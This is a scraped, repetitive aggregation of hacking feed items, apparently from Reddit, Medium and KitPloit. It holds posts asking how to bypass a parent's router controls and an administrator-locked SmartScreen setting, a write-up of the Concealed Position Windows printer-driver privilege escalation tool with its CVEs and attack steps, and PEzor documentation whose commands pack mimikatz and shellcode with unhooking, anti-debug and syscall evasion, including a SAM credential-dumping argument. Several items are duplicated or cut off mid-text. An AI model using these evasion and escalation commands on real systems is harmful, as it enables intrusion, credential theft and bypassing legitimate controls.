hacking: security in practice
So how do I bypass an expensive router
So my dad has a router that allows Him to control everything and has a power trip whenever he is mad for no reason, all I'm asking is that I bypass the wifi shutdown or something that allows me to control it myself
TL:DR MY dad is an asshole and doesn't allow me to do anything if he is mad and I want a comeback
submitted by /u/blkdmn1
[link] [comments]
So how do I bypass an expensive router
So my dad has a router that allows Him to control everything and has a power trip whenever he is mad for no reason, all I'm asking is that I bypass the wifi shutdown or something that allows me to control it myself
TL:DR MY dad is an asshole and doesn't allow me to do anything if he is mad and I want a comeback
submitted by /u/blkdmn1
[link] [comments]
reddit
So how do I bypass an expensive router
So my dad has a router that allows Him to control everything and has a power trip whenever he is mad for no reason, all I'm asking is that I...
hacking: security in practice
(WINDOWS 10 OFF TOPIC)How do i disable windows smart screen check apps and files without admin permissions?
it says "the setting is managed by your administrator" and i want to download something. How do i do it? i cant run registry editor, and command prompt because i already tried it. please help.
submitted by /u/Flameex1087
[link] [comments]
(WINDOWS 10 OFF TOPIC)How do i disable windows smart screen check apps and files without admin permissions?
it says "the setting is managed by your administrator" and i want to download something. How do i do it? i cant run registry editor, and command prompt because i already tried it. please help.
submitted by /u/Flameex1087
[link] [comments]
reddit
(WINDOWS 10 OFF TOPIC)How do i disable windows smart screen check...
it says "the setting is managed by your administrator" and i want to download something. How do i do it? i cant run registry editor, and command...
hacking: security in practice
Best language to learn first for Black Hat 🎩 Script Kitty 🐈⬛
Hi I am interested in WiFi hacking, absolute beginner to computers. Any info helps.
View Poll
submitted by /u/The_Abramelin
[link] [comments]
Best language to learn first for Black Hat 🎩 Script Kitty 🐈⬛
Hi I am interested in WiFi hacking, absolute beginner to computers. Any info helps.
View Poll
submitted by /u/The_Abramelin
[link] [comments]
reddit
Best language to learn first for Black Hat 🎩 Script Kitty 🐈⬛
Hi I am interested in WiFi hacking, absolute beginner to computers. Any info helps.
A small change, and things go in your hand : Story of a $250 bounty
https://fardeen-ahmed.medium.com/a-small-change-and-things-go-in-your-hand-story-of-a-250-bounty-5ddc43c31463?source=rss------bug_bounty-5
https://fardeen-ahmed.medium.com/a-small-change-and-things-go-in-your-hand-story-of-a-250-bounty-5ddc43c31463?source=rss------bug_bounty-5
Hi there,Continue reading on Medium » (https://fardeen-ahmed.medium.com/a-small-change-and-things-go-in-your-hand-story-of-a-250-bounty-5ddc43c31463?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Writing connect back (reverse) shells in c#
Connect back shell allows attackers to bypass the firewall by making the client connect to the malicious server. Learn how to implement such a server in CSharp language to perform C&C
https://tbhaxor.com/writing-connect-back-tcp-shell-in-csharp/
submitted by /u/tbhaxor
[link] [comments]
Writing connect back (reverse) shells in c#
Connect back shell allows attackers to bypass the firewall by making the client connect to the malicious server. Learn how to implement such a server in CSharp language to perform C&C
https://tbhaxor.com/writing-connect-back-tcp-shell-in-csharp/
submitted by /u/tbhaxor
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Footprinting Target Network | footprinting tools techniques | footprinting methodology
■Open Source Information Gathering using Windows Command Line
Continue reading on Medium »
Footprinting Target Network | footprinting tools techniques | footprinting methodology
■Open Source Information Gathering using Windows Command Line
Continue reading on Medium »
Full-Spectrum Cobalt Strike Detection
https://www.reddit.com/r/redteamsec/comments/pqkccn/fullspectrum_cobalt_strike_detection/
submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf) [comments] (https://www.reddit.com/r/redteamsec/comments/pqkccn/fullspectrum_cobalt_strike_detection/)
https://www.reddit.com/r/redteamsec/comments/pqkccn/fullspectrum_cobalt_strike_detection/
submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf) [comments] (https://www.reddit.com/r/redteamsec/comments/pqkccn/fullspectrum_cobalt_strike_detection/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
Concealed Position - Bring Your Own Print Driver Privilege Escalation Tool
https://1.bp.blogspot.com/-JMl-654CheQ/YUOLZnQfumI/AAAAAAAAuuQ/JGDFkb4V1iQ5GvRUodx6ZDEecD6q2iZ1gCNcBGAsYHQ/w640-h358/printer_hack.jpeg
Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability". Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.
What exploits are available
Concealed Position offers four exploits - all with equally dumb names:
* ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
* POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE
The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver's certificate - something that is not(?) historically done.
But which exploit should I use?!
Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.
How does it work?
Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:
It is important to note that SLASHINGDAMA[...]
Concealed Position - Bring Your Own Print Driver Privilege Escalation Tool
https://1.bp.blogspot.com/-JMl-654CheQ/YUOLZnQfumI/AAAAAAAAuuQ/JGDFkb4V1iQ5GvRUodx6ZDEecD6q2iZ1gCNcBGAsYHQ/w640-h358/printer_hack.jpeg
Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability". Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.
What exploits are available
Concealed Position offers four exploits - all with equally dumb names:
* ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
* POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE
The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver's certificate - something that is not(?) historically done.
But which exploit should I use?!
Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.
How does it work?
Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
It is important to note that SLASHINGDAMA[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsPEzor : Open-Source Shellcode And PE Packer
PEzor is a Open-Source Shellcode And PE Packer.
Installation
The
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
Upgrading from v2.x.x
The
Usage
*
*
*
display help for PEzor
USAGE
$ PEzor help
Pack the provided executable into a new one
USAGE
$ PEzor [options…] [donut args…]
# PEzor [options…] [donut args…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the generated shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread
-sdk=VERSION Use specified .NET Framework version (2, 4, 4.5 (default))
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
[donut args…] After the executable to pack, you can pass additional Donut args, such as -z 2
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (service exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (service dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami&[...]
PEzor is a Open-Source Shellcode And PE Packer.
Installation
The
install.sh is designed to work on a Kali Linux distro.$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
Upgrading from v2.x.x
The
PATH variable has to be updated to use a specific commit of Donut! Check the updated install.sh script.Usage
*
PEzor -h*
PEzor <EXECUTABLE> [donut args...]*
PEzor <SHELLCODE>PEzor helpdisplay help for PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>Pack the provided executable into a new one
USAGE
$ PEzor [options…] [donut args…]
# PEzor [options…] [donut args…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the generated shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread
-sdk=VERSION Use specified .NET Framework version (2, 4, 4.5 (default))
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
[donut args…] After the executable to pack, you can pass additional Donut args, such as -z 2
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (service exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (service dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami&[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsPEzor : Open-Source Shellcode And PE Packer PEzor is a Open-Source Shellcode And PE Packer. Installation The install.sh is designed to work on a Kali Linux distro. $ git clone https://github.com/phra/PEzor.git $ cd PEzor…
#8221; “exit”‘
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread) and arguments for donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 “-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv”
Pack the provided shellcode into an executable
USAGE
$ PEzor <-32|-64> [options…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the provided shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread [requires RX shellcode, not compatible with -sgn]
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh shellcode.bin
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-bit (beacon object file)
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-bit (service dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin’
Download
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread) and arguments for donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 “-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv”
PEzor <SHELLCODE>Pack the provided shellcode into an executable
USAGE
$ PEzor <-32|-64> [options…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the provided shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread [requires RX shellcode, not compatible with -sgn]
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh shellcode.bin
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-bit (beacon object file)
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-bit (service dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin’
Download
Concealed Position - Bring Your Own Print Driver Privilege Escalation Tool
http://www.kitploit.com/2021/09/concealed-position-bring-your-own-print.html
http://www.kitploit.com/2021/09/concealed-position-bring-your-own-print.html